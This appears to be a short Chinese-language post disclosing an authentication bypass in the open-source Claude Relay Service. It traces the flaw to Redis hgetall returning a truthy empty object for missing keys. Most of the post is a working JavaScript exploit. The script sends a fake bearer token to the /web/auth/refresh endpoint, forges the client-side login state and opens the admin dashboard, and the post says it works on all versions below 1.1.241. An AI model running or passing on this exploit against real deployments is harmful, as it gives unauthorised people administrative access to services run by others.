Claude Relay Service开源项目，今日提交的commit，982cca10206b6729e837d73ac79a0d76e81fcc67反推重大漏洞问题，Redis hgetall 行为：当 key 不存在时，hgetall 返回空对象 {}，而不是 null，空对象在 JavaScript 中是 truthy 值，实例代码：针对1.1.241以下版本一律可以跳过登录

const API_BASE = window.location.origin;
const FAKE_TOKEN = 'vuln_test_token_1234567890123456789012345678901234567890';


const refreshRes = await fetch(`${API_BASE}/web/auth/refresh`, {
  method: 'POST',
  headers: {
    'Authorization': `Bearer ${FAKE_TOKEN}`,
    'Content-Type': 'application/json'
  }
});


if (refreshRes.status === 200) {
  localStorage.setItem('authToken', FAKE_TOKEN);
  
  const app = document.querySelector('#app').__vue_app__;
  if (app) {
    const authStore = app.config.globalProperties.$pinia?._s.get('auth');
    if (authStore) {
      authStore.authToken = FAKE_TOKEN;
      authStore.isLoggedIn = true;
      authStore.username = 'vulnerability_test';
    }
  }
  
  window.location.href = `${API_BASE}/admin-next/dashboard`;
}

文章

关于Claude Relay Service